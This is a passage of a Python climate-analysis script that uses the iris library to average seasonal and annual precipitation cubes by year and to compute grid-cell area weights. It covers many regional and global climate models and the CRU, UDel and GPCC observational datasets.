MIROCMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCCCLMMAM = MOHCCCLMMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCKNMIMAM = MOHCKNMIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCSMHIMAM = MOHCSMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPICCLMMAM = MPICCLMMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIREMOMAM = MPIREMOMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISMHIMAM = MPISMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCDMIMAM = NCCDMIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCSMHIMAM = NCCSMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    NOAAMAM = NOAAMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    CanESM2MAM = CanESM2MAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMGMAM = CNRMGMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MK3MAM = MK3MAM.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTHMAM = EARTHMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTH3MAM = EARTH3MAM.aggregated_by('year', iris.analysis.MEAN)    \r\n    GFDLMAM = GFDLMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    HadGEM2MAM = HadGEM2MAM.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLGMAM = IPSLGMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCGMAM = MIROCGMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIMAM = MPIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    NorESM1MAM = NorESM1MAM.aggregated_by('year', iris.analysis.MEAN)   \r\n    \r\n    CRUEMAM = CRUEMAM.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelEMAM = UDelEMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCEMAM = GPCCEMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CRUMAM = CRUMAM.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelMAM = UDelMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCMAM = GPCCMAM.aggregated_by('year', iris.analysis.MEAN)\r\n        \r\n    CCCmaJJA = CCCmaJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CLMcomJJA = CLMcomJJA.aggregated_by('year', iris.analysis.MEAN)    \r\n    DMIJJA = DMIJJA.aggregated_by('year', iris.analysis.MEAN)    \r\n    KNMIJJA = KNMIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIEJJA = MPIEJJA.aggregated_by('year', iris.analysis.MEAN)    \r\n    SMHIJJA = SMHIJJA.aggregated_by('year', iris.analysis.MEAN)    \r\n    \r\n    CCCmaCanRCMJJA = CCCmaCanRCMJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CCCmaSMHIJJA = CCCmaSMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMJJA = CNRMJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSMHIJJA = CNRMSMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CSIROJJA = CSIROJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECDMIJJA = ICHECDMIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECCCLMJJA = ICHECCCLMJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECKNMIJJA = ICHECKNMIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECMPIJJA = ICHECMPIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECSMHIJJA = ICHECSMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLJJA = IPSLJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCJJA = MIROCJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCCCLMJJA = MOHCCCLMJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCKNMIJJA = MOHCKNMIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCSMHIJJA = MOHCSMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MPICCLMJJA = MPICCLMJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIREMOJJA = MPIREMOJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISMHIJJA = MPISMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCDMIJJA = NCCDMIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCSMHIJJA = NCCSMHIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    NOAAJJA = NOAAJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    CanESM2JJA = CanESM2JJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMGJJA = CNRMGJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MK3JJA = MK3JJA.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTHJJA = EARTHJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTH3JJA = EARTH3JJA.aggregated_by('year', iris.analysis.MEAN)\r\n    GFDLJJA = GFDLJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    HadGEM2JJA = HadGEM2JJA.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLGJJA = IPSLGJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCGJJA = MIROCGJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIJJA = MPIJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    NorESM1JJA = NorESM1JJA.aggregated_by('year', iris.analysis.MEAN)  \r\n    \r\n    CRUEJJA = CRUEJJA.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelEJJA = UDelEJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCEJJA = GPCCEJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    CRUJJA = CRUJJA.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelJJA = UDelJJA.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCJJA = GPCCJJA.aggregated_by('year', iris.analysis.MEAN)\r\n        \r\n    CCCmaYR = CCCma.aggregated_by('year', iris.analysis.MEAN)\r\n    CLMcomYR = CLMcom.aggregated_by('year', iris.analysis.MEAN)    \r\n    DMIYR = DMI.aggregated_by('year', iris.analysis.MEAN)    \r\n    KNMIYR = KNMI.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIEYR = MPIE.aggregated_by('year', iris.analysis.MEAN)    \r\n    SMHIYR = SMHI.aggregated_by('year', iris.analysis.MEAN)    \r\n    \r\n    CCCmaCanRCMYR = CCCmaCanRCM.aggregated_by('year', iris.analysis.MEAN)\r\n    CCCmaSMHIYR = CCCmaSMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMYR = CNRM.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSMHIYR = CNRMSMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    CSIROYR = CSIRO.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECDMIYR = ICHECDMI.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECCCLMYR = ICHECCCLM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECKNMIYR = ICHECKNMI.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECMPIYR = ICHECMPI.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECSMHIYR = ICHECSMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLYR = IPSL.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCYR = MIROC.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCCCLMYR = MOHCCCLM.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCKNMIYR = MOHCKNMI.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCSMHIYR = MOHCSMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    MPICCLMYR = MPICCLM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIREMOYR = MPIREMO.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISMHIYR = MPISMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCDMIYR = NCCDMI.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCSMHIYR = NCCSMHI.aggregated_by('year', iris.analysis.MEAN)\r\n    NOAAYR = NOAA.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    CanESM2YR=CanESM2.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMGYR = CNRMG.aggregated_by('year', iris.analysis.MEAN)\r\n    MK3YR = MK3.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTHYR = EARTH.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTH3YR = EARTH3.aggregated_by('year', iris.analysis.MEAN)\r\n    GFDLYR = GFDL.aggregated_by('year', iris.analysis.MEAN)\r\n    HadGEM2YR = HadGEM2.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLGYR = IPSLG.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCGYR = MIROCG.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIYR = MPI.aggregated_by('year', iris.analysis.MEAN)\r\n    NorESM1YR = NorESM1.aggregated_by('year', iris.analysis.MEAN)  \r\n    \r\n    CRUEYR = CRUE.aggregated_by('year', iris.analysis.MEAN) \r\n    UDelEYR = UDelE.aggregated_by('year', iris.analysis.MEAN) \r\n    GPCCEYR = GPCCE.aggregated_by('year', iris.analysis.MEAN)\r\n    CRUYR = CRU.aggregated_by('year', iris.analysis.MEAN) \r\n    UDelYR = UDel.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCYR = GPCC.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    #Returns an array of area weights, with the same dimensions as the cube\r\n    CCCmaSON_grid_areas = iris.analysis.cartography.area_weights(CCCmaSON)\r\n    CLMcomSON_grid_areas = iris.analysis.cartography.area_weights(CLMcomSON)\r\n    DMISON_grid_areas = iris.analysis.cartography.area_weights(DMISON)\r\n    KNMISON_grid_areas = iris.analysis.cartography.area_weights(KNMISON)\r\n    MPIESON_grid_areas = iris.analysis.cartography.area_weights(MPIESON)\r\n    SMHISON_grid_areas = iris.analysis.cartography.area_weights(SMHISON)\r\n    \r\n    CCCmaCanRCMSON_grid_areas = iris.analysis.cartography.area_weights(CCCmaCanRCMSON)\r\n    CCCmaSMHISON_grid_areas = iris.analysis.cartography.area_weights(CCCmaSMHISON)\r\n    CNRMSON_grid_areas = iris.analysis.cartography.area_weights(CNRMSON)\r\n    CNRMSMHISON_grid_areas = iris.analysis.cartography.area_weights(CNRMSMHISON)\r\n    CSIROSON_grid_areas = iris.analysis.cartography.area_weights(CSIROSON)\r\n    ICHECDMISON_grid_areas = iris.analysis.cartography.area_weights(ICHECDMISON)\r\n    ICHECCCLMSON_grid_areas = iris.analysis.cartography.area_weights(ICHECCCLMSON)\r\n    ICHECKNMISON_grid_areas = iris.analysis.cartography.area_weights(ICHECKNMISON)\r\n    ICHECMPISON_grid_areas = iris.analysis.cartography.area_weights(ICHECMPISON)\r\n    ICHECSMHISON_grid_areas = iris.analysis.cartography.area_weights(ICHECSMHISON)\r\n    IPSLSON_grid_areas = iris.analysis.cartography.area_weights(IPSLSON)\r\n    MIROCSON_grid_areas = iris.analysis.cartography.area_weights(MIROCSON)\r\n    MOHCCCLMSON_grid_areas = iris.analysis.cartography.area_weights(MOHCCCLMSON)\r\n    MOHCKNMISON_grid_areas = iris.analysis.cartography.area_weights(MOHCKNMISON)\r\n    MOHCSMHISON_grid_areas = iris.analysis.cartography.area_weights(MOHCSMHISON)\r\n    MPICCLMSON_grid_areas = iris.analysis.cartography.area_weights(MPICCLMSON)\r\n    MPIREMOSON_grid_areas = iris.analysis.cartography.area_weights(MPIREMOSON)\r\n    MPISMHISON_grid_areas = iris.analysis.cartography.area_weights(MPISMHISON)\r\n    NCCDMISON_grid_areas = iris.analysis.cartography.area_weights(NCCDMISON)\r\n    NCCSMHISON_grid_areas = iris.analysis.cartography.area_weights(NCCSMHISON)\r\n    NOAASON_grid_areas = iris.analysis.cartography.area_weights(NOAASON)\r\n    \r\n    CanESM2SON_grid_areas = iris.analysis.cartography.area_weights(CanESM2SON)\r\n    CNRMGSON_grid_areas = iris.analysis.cartography.area_weights(CNRMGSON)\r\n    MK3SON_grid_areas = iris.analysis.cartography.area_weights(MK3SON)\r\n    EARTHSON_grid_areas = iris.analysis.cartography.area_weights(EARTHSON)\r\n    EARTH3SON_grid_areas = iris.analysis.cartography.area_weights(EARTH3SON)\r\n    GFDLSON_grid_areas = iris.analysis.cartography.area_weights(GFDLSON)\r\n    HadGEM2SON_grid_areas = iris.analysis.cartography.area_weights(HadGEM2SON)\r\n    IPSLGSON_grid_areas = iris.analysis.cartography.area_weights(IPSLGSON)\r\n    MIROCGSON_grid_areas = iris.analysis.cartography.area_weights(MIROCGSON)\r\n    MPISON_grid_areas = iris.analysis.cartography.area_weights(MPISON)\r\n    NorESM1SON_grid_areas = iris.analysis.cartography.area_weights(NorESM1SON)\r\n    \r\n    CRUESON_grid_areas = iris.analysis.cartography.area_weights(CRUESON)\r\n    UDelESON_grid_areas = iris.analysis.cartography.area_weights(UDelESON)\r\n    GPCCESON_grid_areas = iris.analysis.cartography.area_weights(GPCCESON)\r\n    CRUSON_grid_areas = iris.analysis.cartography.area_weights(CRUSON)\r\n    UDelSON_grid_areas = iris.analysis.cartography.area_weights(UDelSON)\r\n    GPCCSON_grid_areas = iris.analysis.cartography.area_weights(GPCCSON)\r\n        \r\n    CCCmaDJF_grid_areas = iris.analysis.cartography.area_weights(CCCmaDJF)\r\n    CLMcomDJF_grid_areas = iris.analysis.cartography.area_weights(CLMcomDJF)\r\n    DMIDJF_grid_areas = iris.analysis.cartography.area_weights(DMIDJF)\r\n    KNMIDJF_grid_areas = iris.analysis.cartography.area_weights(KNMIDJF)\r\n    MPIEDJF_grid_areas = iris.analysis.cartography.area_weights(MPIEDJF)\r\n    SMHIDJF_grid_areas = iris.analysis.cartography.area_weights(SMHIDJF)\r\n    \r\n    CCCmaCanRCMDJF_grid_areas = iris.analysis.cartography.area_weights(CCCmaCanRCMDJF)\r\n    CCCmaSMHIDJF_grid_areas = iris.analysis.cartography.area_weights(CCCmaSMHIDJF)\r\n    CNRMDJF_grid_areas = iris.analysis.cartography.area_weights(CNRMDJF)\r\n    CNRMSMHIDJF_grid_areas = iris.analysis.cartography.area_weights(CNRMSMHIDJF)\r\n    CSIRODJF_grid_areas = iris.analysis.cartography.area_weights(CSIRODJF)\r\n    ICHECDMIDJF_grid_areas = iris.analysis.cartography.area_weights(ICHECDMIDJF)\r\n    ICHECCCLMDJF_grid_areas = iris.analysis.cartography.area_weights(ICHECCCLMDJF)\r\n    ICHECKNMIDJF_grid_areas = iris.analysis.cartography.area_weights(ICHECKNMIDJF)\r\n    ICHECMPIDJF_grid_areas = iris.analysis.cartography.area_weights(ICHECMPIDJF)\r\n    ICHECSMHIDJF_grid_areas = iris.analysis.cartography.area_weights(ICHECSMHIDJF)\r\n    IPSLDJF_grid_areas = iris.analysis.cartography.area_weights(IPSLDJF)\r\n    MIROCDJF_grid_areas = iris.analysis.cartography.area_weights(MIROCDJF)\r\n    MOHCCCLMDJF_grid_areas = iris.analysis.cartography.area_weights(MOHCCCLMDJF)\r\n    MOHCKNMIDJF_grid_areas = iris.analysis.cartography.area_weights(MOHCKNMIDJF)\r\n    MOHCSMHIDJF_grid_areas = iris.analysis.cartography.area_weights(MOHCSMHIDJF)\r\n    MPICCLMDJF_grid_areas = iris.analysis.cartography.area_weights(MPICCLMDJF)\r\n    MPIREMODJF_grid_areas = iris.analysis.cartography.area_weights(MPIREMODJF)\r\n    MPISMHIDJF_grid_areas = iris.analysis.cartography.area_weights(MPISMHIDJF)\r\n    NCCDMIDJF_grid_areas = iris.analysis.cartography.area_weights(NCCDMIDJF)\r\n    NCCSMHIDJF_grid_areas = iris.analysis.cartography.area_weights(NCCSMHIDJF)\r\n    NOAADJF_grid_areas = iris.analysis.cartography.area_weights(NOAADJF)\r\n    \r\n    CanESM2DJF_grid_areas = iris.analysis.cartography.area_weights(CanESM2DJF)\r\n    CNRMGDJF_grid_areas = iris.analysis.cartography.area_weights(CNRMGDJF)\r\n    MK3DJF_grid_areas = iris.analysis.cartography.area_weights(MK3DJF)\r\n    EARTHDJF_grid_areas = iris.analysis.cartography.area_weights(EARTHDJF)\r\n    EARTH3DJF_grid_areas = iris.analysis.cartography.area_weights(EARTH3DJF)\r\n    GFDLDJF_grid_areas = iris.analysis.cartography.area_weights(GFDLDJF)\r\n    HadGEM2DJF_grid_areas = iris.analysis.cartography.area_weights(HadGEM2DJF)\r\n    IPSLGDJF_grid_areas = iris.analysis.cartography.area_weights(IPSLGDJF)\r\n    MIROCGDJF_grid_areas = iris.analysis.cartography.area_weights(MIROCGDJF)\r\n    MPIDJF_grid_areas = iris.analysis.cartography.area_weights(MPIDJF)\r\n    NorESM1DJF_grid_areas = iris.analysis.cartography.area_weights(NorESM1DJF)\r\n    \r\n    CRUEDJF_grid_areas = iris.analysis.cartography.area_weights(CRUEDJF)\r\n    UDelEDJF_grid_areas = iris.analysis.cartography.area_weights(UDelEDJF)\r\n    GPCCEDJF_grid_areas = iris.analysis.cartography.area_weights(GPCCEDJF)\r\n    CRUDJF_grid_areas = iris.analysis.cartography.area_weights(CRUDJF)\r\n    UDelDJF_grid_areas = iris.analysis.cartography.area_weights(UDelDJF)\r\n    GPCCDJF_grid_areas = iris.analysis.cartography.area_weights(GPCCDJF)\r\n    \r\n    CCCmaMAM_grid_areas = iris.analysis.cartography.area_weights(CCCmaMAM)\r\n    CLMcomMAM_grid_areas = iris.analysis.cartography.area_weights(CLMcomMAM)\r\n    DMIMAM_grid_areas = iris.analysis.cartography.area_weights(DMIMAM)\r\n    KNMIMAM_grid_areas = iris.analysis.cartography.area_weights(KNMIMAM)\r\n    MPIEMAM_grid_areas = iris.analysis.cartography.area_weights(MPIEMAM)\r\n    SMHIMAM_grid_areas = iris.analysis.cartography.area_weights(SMHIMAM)\r\n    \r\n    CCCmaCanRCMMAM_grid_areas = iris.analysis.cartography.area_weights(CCCmaCanRCMMAM)\r\n    CCCmaSMHIMAM_grid_areas = iris.analysis.cartography.area_weights(CCCmaSMHIMAM)\r\n    CNRMMAM_grid_areas = iris.analysis.cartography.area_weights(CNRMMAM)\r\n    CNRMSMHIMAM_grid_areas = iris.analysis.cartography.area_weights(CNRMSMHIMAM)\r\n    CSIROMAM_grid_areas = iris.analysis.cartography.area_weights(CSIROMAM)\r\n    ICHECDMIMAM_grid_areas = iris.analysis.cartography.area_weights(ICHECDMIMAM)\r\n    ICHECCCLMMAM_grid_areas = iris.analysis.cartography.area_weights(ICHECCCLMMAM)\r\n    ICHECKNMIMAM_grid_areas = iris.analysis.cartography.area_weights(ICHECKNMIMAM)\r\n    ICHECMPIMAM_grid_areas = iris.analysis.cartography.area_weights(ICHECMPIMAM)\r\n    ICHECSMHIMAM_grid_areas = iris.analysis.cartography.area_weights(ICHECSMHIMAM)\r\n    IPSLMAM_grid_areas = iris.analysis.cartography.area_weights(IPSLMAM)\r\n    MIROCMAM_grid_areas = iris.analysis.cartography.area_weights(MIROCMAM)\r\n    MOHCCCLMMAM_grid_areas = iris.analysis.cartography.area_weights(MOHCCCLMMAM)\r\n    MOHCKNMIMAM_grid_areas = iris.analysis.cartography.area_weights(MOHCKNMIMAM)\r\n    MOHCSMHIMAM_grid_areas = iris.analysis.cartography.area_weights(MOHCSMHIMAM)\r\n    MPICCLMMAM_grid_areas = iris.analysis.cartography.area_weights(MPICCLMMAM)\r\n    MPIREMOMAM_grid_areas = iris.analysis.cartography.area_weights(MPIREMOMAM)\r\n    MPISMHIMAM_grid_areas = iris.analysis.cartography.area_weights(MPISMHIMAM)\r\n    NCCDMIMAM_grid_areas = iris.analysis.cartography.area_weights(NCCDMIMAM)\r\n    NCCSMHIMAM_grid_areas = iris.analysis.cartography.area_weights(NCCSMHIMAM)\r\n    NOAAMAM_grid_areas = iris.analysis.cartography.area_weights(NOAAMAM)\r\n    \r\n    CanESM2MAM_grid_areas = iris.analysis.cartography.area_weights(CanESM2MAM)\r\n    CNRMGMAM_grid_areas = iris.analysis.cartography.area_weights(CNRMGMAM)\r\n    MK3MAM_grid_areas = iris.analysis.cartography.area_weights(MK3MAM)\r\n    EARTHMAM_grid_areas = iris.analysis.cartography.area_weights(EARTHMAM)\r\n    EARTH3MAM_grid_areas = iris.analysis.cartography.area_weights(EARTH3MAM)\r\n    GFDLMAM_grid_areas = iris.analysis.cartography.area_weights(GFDLMAM)\r\n    HadGEM2MAM_grid_areas = iris.analysis.cartography.area_weights(HadGEM2MAM)\r\n    IPSLGMAM_grid_areas = iris.analysis.cartography.area_weights(IPSLGMAM)\r\n    MIROCGMAM_grid_areas = iris.analysis.cartography.area_weights(MIROCGMAM)\r\n    MPIMAM_grid_areas = iris.analysis.cartography.area_weights(MPIMAM)\r\n    NorESM1MAM_grid_areas = iris.analysis.cartography.area_weights(NorESM1MAM)\r\n    \r\n    CRUEMAM_grid_areas = iris.analysis.cartography.area_weights(CRUEMAM)\r\n    UDelEMAM_grid_areas = iris.analysis.cartography.area_weights(UDelEMAM)\r\n    GPCCEMAM_grid_areas = iris.analysis.cartography.area_weights(GPCCEMAM)\r\n    CRUMAM_grid_areas = iris.analysis.cartography.area_weights(CRUMAM)\r\n    UDelMAM_grid_areas = iris.analysis.cartography.area_weights(UDelMAM)\r\n    GPCCMAM_grid_areas = iris.analysis.cartography.area_weights(GPCCMAM)\r\n    \r\n    CCCmaJJA_grid_areas = iris.analysis.cartography.area_weights(CCCmaJJA)\r\n    CLMcomJJA_grid_areas = iris.analysis.cartography.area_weights(CLMcomJJA)\r\n    DMIJJA_grid_areas = iris.analysis.cartography.area_weights(DMIJJA)\r\n    KNMIJJA_grid_areas = iris.analysis.cartography.area_weights(KNMIJJA)\r\n    MPIEJJA_grid_areas = iris.analysis.cartography.area_weights(MPIEJJA)\r\n    SMHIJJA_grid_areas = iris.analysis.cartography.area_weights(SMHIJJA)\r\n    \r\n    CCCmaCanRCMJJA_grid_areas = iris.analysis.cartography.area_weights(CCCmaCanRCMJJA)\r\n    CCCmaSMHIJJA_grid_areas = iris.analysis.cartography.area_weights(CCCmaSMHIJJA)\r\n    CNRMJJA_grid_areas = iris.analysis.cartography.area_weights(CNRMJJA)\r\n    CNRMSMHIJJA_grid_areas = iris.analysis.cartography.area_weights(CNRMSMHIJJA)\r\n    CSIROJJA_grid_areas = iris.analysis.cartography.area_weights(CSIROJJA)\r\n    ICHECDMIJJA_grid_areas = iris.analysis.cartography.area_weights(ICHECDMIJJA)\r\n    ICHECCCLMJJA_grid_areas = iris.analysis.cartography.area_weights(ICHECCCLMJJA)\r\n    ICHECKNMIJJA_grid_areas = iris.analysis.cartography.area_weights(ICHECKNMIJJA)\r\n    ICHECMPIJJA_grid_areas = iris.analysis.cartography.area_weights(ICHECMPIJJA)\r\n    ICHECSMHIJJA_grid_areas = iris.analysis.cartography.area_weights(ICHECSMHIJJA)\r\n    IPSLJJA_grid_areas = iris.analysis.cartography.area_weights(IPSLJJA)\r\n    MIROCJJA_grid_areas = iris.analysis.cartography.area_weights(MIROCJJA)\r\n    MOHCCCLMJJA_grid_areas = iris.analysis.cartography.area_weights(MOHCCCLMJJA)\r\n    MOHCKNMIJJA_grid_areas = iris.analysis.cartography.area_weights(MOHCKNMIJJA)\r\n    MOHCSMHIJJA_grid_areas = iris.analysis.cartography.area_weights(MOHCSMHIJJA)\r\n    MPICCLMJJA_grid_areas = iris.analysis.cartography.area_weights(MPICCLMJJA)\r\n    MPIREMOJJA_grid_areas = iris.analysis.cartography.area_weights(MPIREMOJJA)\r\n    MPISMHIJJA_grid_areas = iris.analysis.cartography.area_weights(MPISMHIJJA)\r\n    NCCDMIJJA_grid_areas = iris.analysis.cartography.area_weights(NCCDMIJJA)\r\n    NCCSMHIJJA_grid_areas = iris.analysis.cartography.area_weights(NCCSMHIJJA)\r\n    NOAAJJA_grid_areas = iris.analysis.cartography.area_weights(NOAAJJA)\r\n    \r\n    CanESM2JJA_grid_areas = iris.analysis.cartography.area_weights(CanESM2JJA)\r\n    CNRMGJJA_grid_areas = iris.analysis.cartography.area_weights(CNRMGJJA)\r\n    MK3JJA_grid_areas = iris.analysis.cartography.area_weights(MK3JJA)\r\n    EARTHJJA_grid_areas = iris.analysis.cartography.area_weights(EARTHJJA)\r\n    EARTH3JJA_grid_areas = iris.analysis.cartography.area_weights(EARTH3JJA)\r\n    GFDLJJA_grid_areas = iris.analysis.cartography.area_weights(GFDLJJA)\r\n    HadGEM2JJA_grid_areas = iris.analysis.cartography.area_weights(HadGEM2JJA)\r\n    IPSLGJJA_grid_areas = iris.analysis.cartography.area_weights(IPSLGJJA)\r\n    MIROCGJJA_grid_areas = iris.analysis.cartography.area_weights(MIROCGJJA)\r\n    MPIJJA_grid_areas = iris.analysis.cartography.area_weights(MPIJJA)\r\n    NorESM1JJA_grid_areas = iris.analysis.cartography.area_weights(NorESM1JJA)\r\n    \r\n    CRUEJJA_grid_areas = iris.analysis.cartography.area_weights(CRUEJJA)\r\n    UDelEJJA_grid_areas = iris.analysis.cartography.area_weights(UDelEJJA)\r\n    GPCCEJJA_grid_areas = iris.analysis.cartography.area_weights(GPCCEJJA)\r\n    CRUJJA_grid_areas = iris.analysis.cartography.area_weights(CRUJJA)\r\n    UDelJJA_grid_areas = iris.analysis.cartography.area_weights(UDelJJA)\r\n    GPCCJJA_grid_areas = iris.analysis.cartography.area_weights(GPCCJJA)\r\n        \r\n    CCCmaYR_grid_areas = iris.analysis.cartography.area_weights(CCCmaYR)\r\n    CLMcomYR_grid_areas = iris.analysis.cartography.area_weights(CLMcomYR)\r\n    DMIYR_grid_areas = iris.analysis.cartography.area_weights(DMIYR)\r\n    KNMIYR_grid_areas = iris.analysis.cartography.area_weights(KNMIYR)\r\n    MPIEYR_grid_areas = iris.analysis.cartography.area_weights(MPIEYR)\r\n    SMHIYR_grid_areas = iris.analysis.cartography.area_weights(SMHIYR)\r\n    \r\n    CCCmaCanRCMYR_grid_areas = iris.analysis.cartography.area_weights(CCCmaCanRCMYR)\r\n    CCCmaSMHIYR_grid_areas = iris.analysis.cartography.area_weights(CCCmaSMHIYR)\r\n    CNRMYR_grid_areas = iris.analysis.cartography.area_weights(CNRMYR)\r\n    CNRMSMHIYR_grid_areas = iris.analysis.cartography.area_weights(CNRMSMHIYR)\r\n    CSIROYR_grid_areas = iris.analysis.cartography.area_weights(CSIROYR)\r\n    ICHECDMIYR_grid_areas = iris.analysis.cartography.area_weights(ICHECDMIYR)\r\n    ICHECCCLMYR_grid_areas = iris.analysis.cartography.area_weights(ICHECCCLMYR)\r\n    ICHECKNMIYR_grid_areas = iris.analysis.cartography.area_weights(ICHECKNMIYR)\r\n    ICHECMPIYR_grid_areas = iris.analysis.cartography.area_weights(ICHECMPIYR)\r\n    ICHECSMHIYR_grid_areas = iris.analysis.cartography.area_weights(ICHECSMHIYR)\r\n    IPSLYR_grid_areas = iris.analysis.cartography.area_weights(IPSLYR)\r\n    MIROCYR_grid_areas = iris.analysis.cartography.area_weights(MIROCYR)\r\n    MOHCCCLMYR_grid_areas = iris.analysis.cartography.area_weights(MOHCCCLMYR)\r\n    MOHCKNMIYR_grid_areas = iris.analysis.cartography.area_weights(MOHCKNMIYR)\r\n    MOHCSMHIYR_grid_areas = iris.analysis.cartography.area_weights(MOHCSMHIYR)\r\n    MPICCLMYR_grid_areas = iris.analysis.cartography.area_weights(MPICCLMYR)\r\n    MPIREMOYR_grid_areas = iris.analysis.cartography.area_weights(MPIREMOYR)\r\n    MPISMHIYR_grid_areas = iris.analysis.cartography.area_weights(MPISMHIYR)\r\n    NCCDMIYR_grid_areas = iris.analysis.cartography.area_weights(NCCDMIYR)\r\n    NCCSMHIYR_grid_areas = iris.analysis.cartography.area_weights(NCCSMHIYR)\r\n    NOAAYR_grid_areas = iris.analysis.cartography.area_weights(NOAAYR)\r\n    \r\n    CanESM2YR_grid_areas = iris.analysis.cartography.area_weights(CanESM2YR)\r\n    CNRMGYR_grid_areas = iris.analysis.cartography.area_weights(CNRMGYR)\r\n    MK3YR_grid_areas = iris.analysis.cartography.area_weights(MK3YR)\r\n    EARTHYR_grid_areas = iris.analysis.cartography.area_weights(EARTHYR)\r\n    EARTH3YR_grid_areas = iris.analysis.cartography.area_weights(EARTH3YR)\r\n    GFDLYR_grid_areas = iris.analysis.cartography.area_weights(GFDLYR)\r\n    HadGEM2YR_grid_areas = iris.analysis.cartography.area_weights(HadGEM2YR)\r\n    IPSLGYR_grid_areas = iris.analysis.cartography.area_weights(IPSLGYR)\r\n    MIROCGYR_grid_areas = iris.analysis.cartography.area_weights(MIROCGYR)\r\n    MPIYR_grid_areas = iris.analysis.cartography.area_weights(MPIYR)\r\n    NorESM1YR_grid_areas = iris.analysis.cartography.area_weights(NorESM1YR)\r\n    \r\n    CRUEYR_grid_areas = iris.analysis.cartography.area_weights(CRUEYR)\r\n    UDelEYR_grid_areas = iris.analysis.cartography.area_weights(UDelEYR)\r\n    GPCCEYR_grid_areas = iris.analysis.cartography.area_weights(GPCCEYR)\r\n    CRUYR_grid_areas = iris.analysis.cartography.area_weights(CRUYR)\r\n    UDelYR_grid_areas = iris.analysis.cartography.area_weights(UDelYR)\r\n    GPCCYR_grid_areas = 